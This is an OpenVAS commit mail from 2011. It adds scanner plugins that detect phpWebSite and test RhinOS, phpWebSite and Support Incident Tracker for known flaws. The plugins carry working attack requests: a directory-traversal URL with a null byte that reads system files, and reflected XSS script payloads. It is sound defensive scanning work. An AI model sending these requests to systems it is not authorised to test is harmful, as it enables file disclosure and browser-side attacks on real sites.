[Openvas-commits] r10474 - in trunk/openvas-plugins: . scripts
scm-commit@wald.intevation.org
scm-commit at wald.intevation.org
Fri Mar 4 13:25:10 CET 2011
Author: mime
Date: 2011-03-04 13:25:07 +0100 (Fri, 04 Mar 2011)
New Revision: 10474
Added:
trunk/openvas-plugins/scripts/gb_RhinOS_46731.nasl
trunk/openvas-plugins/scripts/gb_phpWebSite_46673.nasl
trunk/openvas-plugins/scripts/gb_phpWebSite_detect.nasl
trunk/openvas-plugins/scripts/gb_support_incident_tracker_46671.nasl
Modified:
trunk/openvas-plugins/ChangeLog
Log:
Added new plugins
Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog 2011-03-04 11:43:10 UTC (rev 10473)
+++ trunk/openvas-plugins/ChangeLog 2011-03-04 12:25:07 UTC (rev 10474)
@@ -1,3 +1,11 @@
+2011-03-04 Michael Meyer <michael.meyer at greenbone.net>
+
+ * * scripts/gb_support_incident_tracker_46671.nasl,
+ scripts/gb_phpWebSite_detect.nasl,
+ scripts/gb_phpWebSite_46673.nasl,
+ scripts/gb_RhinOS_46731.nasl:
+ Added new plugins.
+
2011-03-03 Michael Meyer <michael.meyer at greenbone.net>
* scripts/gb_cubecart_46641.nasl,
Added: trunk/openvas-plugins/scripts/gb_RhinOS_46731.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_RhinOS_46731.nasl 2011-03-04 11:43:10 UTC (rev 10473)
+++ trunk/openvas-plugins/scripts/gb_RhinOS_46731.nasl 2011-03-04 12:25:07 UTC (rev 10474)
@@ -0,0 +1,90 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# RhinOS 'gradient.php' Multiple Directory Traversal Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103108);
+ script_bugtraq_id(46731);
+ script_version ("1.0-$Revision$");
+
+ script_name("RhinOS 'gradient.php' Multiple Directory Traversal Vulnerabilities");
+
+desc = "Overview:
+RhinOS is prone to multiple directory-traversal vulnerabilities
+because it fails to sufficiently sanitize user-supplied input.
+
+Exploiting the issues can allow an attacker to obtain sensitive
+information that could aid in further attacks.
+
+RhinOS 3.0 r1113 is vulnerable; other versions may also be affected.
+
+References:
+https://www.securityfocus.com/bid/46731
+http://www.autosectools.com/Advisories/RhinOS.3.0.r1113_Local.File.Inclusion_133.html
+http://www.saltos.net/portal/en/rhinos.htm";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_description(desc);
+ script_summary("Determine if RhinOS is prone to multiple directory-traversal vulnerabilities");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl","os_fingerprint.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+os = get_kb_item("Host/OS/ICMP");
+files = traversal_files(os);
+
+dirs = make_list("/rhinos","/rhinos-es-3.0",cgi_dirs());
+
+foreach dir (dirs) {
+ foreach file (keys(files)) {
+
+ url = string(dir,"/admin/lib/gradient/gradient.php?tam=",crap(data:"..%2f",length:10*9),files[file],"%00");
+
+ if(http_vuln_check(port:port, url:url,pattern:file)) {
+
+ security_warning(port:port);
+ exit(0);
+
+ }
+ }
+}
+
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_RhinOS_46731.nasl
___________________________________________________________________
Name: svn:keywords
+ Id Revision
Added: trunk/openvas-plugins/scripts/gb_phpWebSite_46673.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_phpWebSite_46673.nasl 2011-03-04 11:43:10 UTC (rev 10473)
+++ trunk/openvas-plugins/scripts/gb_phpWebSite_46673.nasl 2011-03-04 12:25:07 UTC (rev 10474)
@@ -0,0 +1,82 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# phpWebSite 'local' Parameter Cross Site Scripting Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103107);
+ script_bugtraq_id(46673);
+ script_version ("1.0-$Revision$");
+
+ script_name("phpWebSite 'local' Parameter Cross Site Scripting Vulnerability");
+
+desc = "Overview:
+phpWebSite is prone to a cross-site scripting vulnerability because it
+fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code
+in the browser of an unsuspecting user in the context of the affected
+site. This can allow the attacker to steal cookie-based authentication
+credentials and launch other attacks.
+
+phpWebSite 1.7.1 is vulnerable; other versions may also be affected.
+
+References:
+https://www.securityfocus.com/bid/46673
+http://phpwebsite.appstate.edu/
+http://www.autosectools.com/Advisories/phpWebSite.1.7.1_Reflected.Cross-site.Scripting_131.html";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_description(desc);
+ script_summary("Determine if phpWebSite is prone to a cross-site scripting vulnerability");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("gb_phpWebSite_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+if(!dir = get_dir_from_kb(port:port,app:"phpWebSite"))exit(0);
+url = string(dir, "/javascript/editors/fckeditor/editor/custom.php?local=<script>alert(/openvas-xss-test/)</script>");
+
+if(http_vuln_check(port:port, url:url,pattern:"<script>alert\(/openvas-xss-test/\)</script>",check_header:TRUE)) {
+
+ security_warning(port:port);
+ exit(0);
+
+}
+
+exit(0);
Property changes on: trunk/openvas-plugins/scripts/gb_phpWebSite_46673.nasl
___________________________________________________________________
Name: svn:keywords
+ Id Revision
Added: trunk/openvas-plugins/scripts/gb_phpWebSite_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_phpWebSite_detect.nasl 2011-03-04 11:43:10 UTC (rev 10473)
+++ trunk/openvas-plugins/scripts/gb_phpWebSite_detect.nasl 2011-03-04 12:25:07 UTC (rev 10474)
@@ -0,0 +1,106 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# phpWebSite Detection
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+# need desc here to modify it later in script.
+desc = "Overview:
+This host is running phpWebSite. phpWebSite provides a complete web
+site content management system.
+
+See also:
+http://phpwebsite.appstate.edu/";
+
+if (description)
+{
+
+ script_tag(name:"risk_factor", value:"None");
+ script_id(103106);
+ script_version ("1.0-$Revision$");
+
+ script_name("phpWebSite Detection");
+ script_description(desc);
+ script_summary("Checks for the presence of phpWebSite");
+ script_category(ACT_GATHER_INFO);
+ script_family("Service detection");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/phpwebsite","/cms",cgi_dirs());
+
+foreach dir (dirs) {
+
+ url = string(dir,"/index.php?module=users&action=user&command=login_page");
+ req = http_get(item:url, port:port);
+ buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+ if( buf == NULL )continue;
+
+ if('<meta name="generator" content="phpWebSite" />' >< buf &&
+ "User_Login_Main_phpws_username" >< buf)
+ {
+
+ if(strlen(dir)>0) {
+ install=dir;
+ } else {
+ install=string("/");
+ }
+
+ vers = string("unknown");
+
+ set_kb_item(name: string("www/", port, "/phpWebSite"), value: string(vers," under ",install));
+
+ info = string("edu/\n\nphpWebSite Version '");
+ info += string(vers);
+ info += string("' was detected on the remote host in the following directory(s):\n\n");
+ info += string(install, "\n");
+
+ desc = ereg_replace(
+ string:desc,
+ pattern:"edu/$",
+ replace:info
+ );
+
+ if(report_verbosity > 0) {
+ security_note(port:port,data:desc);
+ }
+ exit(0);
+
+ }
+}
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_phpWebSite_detect.nasl
___________________________________________________________________
Name: svn:keywords
+ Id Revision
Added: trunk/openvas-plugins/scripts/gb_support_incident_tracker_46671.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_support_incident_tracker_46671.nasl 2011-03-04 11:43:10 UTC (rev 10473)
+++ trunk/openvas-plugins/scripts/gb_support_incident_tracker_46671.nasl 2011-03-04 12:25:07 UTC (rev 10474)
@@ -0,0 +1,86 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Support Incident Tracker (SiT!) Multiple Cross Site Scripting Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103105);
+ script_bugtraq_id(46671);
+ script_version ("1.0-$Revision$");
+
+ script_name("Support Incident Tracker (SiT!) Multiple Cross Site Scripting Vulnerabilities");
+
+desc = "Overview:
+Support Incident Tracker (SiT!) is prone to multiple cross-
+site scripting vulnerabilities because it fails to properly
+sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code
+in the browser of an unsuspecting user in the context of the affected
+site. This may let the attacker steal cookie-based authentication
+credentials and launch other attacks.
+
+Support Incident Tracker (SiT!) 3.62 is vulnerable; other versions may
+also be affected.
+
+References:
+https://www.securityfocus.com/bid/46671
+http://sitracker.sourceforge.net
+http://sitracker.org/wiki/ReleaseNotes362";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_description(desc);
+ script_summary("Determine if Support Incident Tracker (SiT!) is prone to multiple cross-site scripting vulnerabilities");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("support_incident_tracker_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+if(!dir = get_dir_from_kb(port:port,app:"support_incident_tracker"))exit(0);
+
+url = string(dir,"/feedback.php?ax=--><script>alert(/openvas-xss-test/)</script>");
+
+if(http_vuln_check(port:port, url:url,pattern:"<script>alert\(/openvas-xss-test/\)</script>",check_header:TRUE)) {
+
+ security_warning(port:port);
+ exit(0);
+
+}
+
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_support_incident_tracker_46671.nasl
___________________________________________________________________
Name: svn:keywords
+ Id Revision
More information about the Openvas-commits
mailing list